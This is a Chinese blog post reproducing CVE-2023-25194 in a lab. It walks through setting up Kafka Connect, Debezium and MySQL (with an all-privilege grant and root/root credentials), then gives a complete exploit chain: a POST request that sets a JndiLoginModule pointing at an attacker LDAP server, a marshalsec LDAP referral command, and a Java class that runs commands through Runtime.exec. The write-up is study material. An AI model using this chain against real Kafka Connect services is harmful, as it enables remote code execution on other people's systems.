Apache Kafka JNDI注入(CVE-2023-25194)漏洞復現淺析

關於

Apache Kafka是一個開源的分佈式事件流平臺,被數千家公司用於高性能數據管道、流分析、數據集成和任務關鍵型應用程序。

影響版本

2.4.0<=Apache kafka<=3.2.2

環境搭建

滿足影響版本的應該都可以,這裏我是使用的版本爲2.5.0

wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz

直接解壓

這裏可以使用命令直接起起來,最新版的kafka是集成Zookeeper

.\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties

但是報錯了,可以自己安裝zookeeper

下載地址

http://zookeeper.apache.org/releases.html

這裏配置文件其實可以補鈣,實際上日誌記錄功能可選擇不要,直接啓動

image-20230314173916423

服務端正常啓動。

image-20230314144830477

只要不報錯即爲正常啓動

繼續修改kafka配置文件server.properties文件,修改日誌存放路徑

image-20230314143848080

命令啓動

.\bin\windows\kafka-server-start.bat .\config\server.properties

image-20230314144757730

測試kafa搭建是否存在問題

  • 創建主題

.\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111

image-20230314145237700

  • 查詢主題

.\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092

image-20230314145305409

  • 創建生產者

.\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111

image-20230314145814595

  • 創建消費者

.\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning

image-20230314145842932

消息收發沒有問題,生產者輸入信息之後消費者會自動消費。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

啓動connect

.\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties

image-20230314151016538

因爲牽涉到補圖片,圖片內的時間順序可能不對,請忽略

訪問

http://192.168.2.135:8083/connector-plugins

image-20230314135217780

這裏是沒有插件的,所以需要安裝插件。這裏要復現CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector類,所以需要配置Debezium MySQL 連接器配置屬性

安裝Debezium

https://debezium.io/releases/2.1/

這裏根據自己環境安裝,比較友好的時不同的版本有介紹需要的java版本,因爲我的java環境爲1.8+的,所以這裏我選擇的版本比較老

image-20230314154723215

在kafka的安裝目錄創建一個文件夾

image-20230314151856351

存放debezium,修改kafka的配置文件

image-20230314152021688

插件注意指向debezium的存放路徑,重新啓動,獲取到插件,這裏需要必坑的位置

1.java版本需要匹配kafka版本以及其他組件版本

2.配置文件需要修改,否則會報錯。

image-20230314154905544

kafka在連接Mysql時 數據需要同步到 Elasticsearch

具體的文章可以參考

https://my.oschina.net/u/4923278/blog/5007756

安裝mysql

MySQL :: Download MySQL Installer

image-20230314174109336

需要避坑的位置

image-20230314174125857

結束

image-20230314174137576

登錄mysql數據庫,設置允許外部連接

GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

image-20230314174151011

  • set time_zone='+8:00';

  • show variables like '%time_zone%';

image-20230314174203845

mysql需要開啓配置

log_bin           = mysql-bin
binlog_format     = ROW
binlog_row_image  = FULL
expire_logs_days  = 10

可參考

https://blog.csdn.net/wang972779876/article/details/120002546

image-20230314174221539

訪問路徑

http://192.168.2.135:8083/connector-plugins

發現插件正常啓動,參考的有復現的文章,說的時需要做時鐘同步,但是在測試的時候發現其實時鐘未做設置的時候也沒有問題。

image-20230314150030168

漏洞利用

POC如下:

POST /connectors HTTP/1.1
Host: 192.168.2.135:8083
Content-Type: application/json
Content-Length: 809
​
{
    "name": "mysql-connect",
    "config": {
        "connector.class": "io.debezium.connector.mysql.MySqlConnector",
        "database.hostname": "192.168.2.135",
        "database.port": "3306",
        "database.user": "root",
        "database.password": "root",
        "database.server.id": "316545017",
        "database.server.name": "test1",
        "database.history.kafka.bootstrap.servers": "192.168.2.135:9092",
        "database.history.kafka.topic": "quickstart-events",    "database.history.producer.security.protocol": "SASL_SSL",
        "database.history.producer.sasl.mechanism": "PLAIN",
        "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}

具體的參數的配置屬性可以參考這篇文章

https://blog.csdn.net/weixin_43564627/article/details/118959829

在利用的時候需要注意在使用name時,爲連接器的名稱,重複註冊則會返回報錯。

image-20230314165531117

使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389

image-20230314165109633

發送POC

image-20230314165149937

可以看到請求了惡意類

惡意類內容calc.java

import java.lang.Runtime;
​
public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");
    }
}

編譯java

javac calc.java

在8888端口起http服務

python -m http.server 8888

image-20230314165411986

執行payload

image-20230314163620306

漏洞原理

Apache Kafka Connect 是 Kafka 中用於和其他數據系統傳輸數據的服務,其獨立運行版本可以在 Kafka 發佈包中通過 bin/connect-standalone.sh 啓動,默認會在 8083 端口開啓 HTTP REST API 服務,可對連接器(Connector)的配置進行操作。

將連接器中的 Kafka 客戶端 sasl.jaas.config 屬性值設置爲 com.sun.security.auth.module.JndiLoginModule(通過 producer.override.sasl.jaas.configconsumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 屬性進行配置)時,如果連接器連接到攻擊者可控的 LDAP 服務器時容易受到反序列化攻擊。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章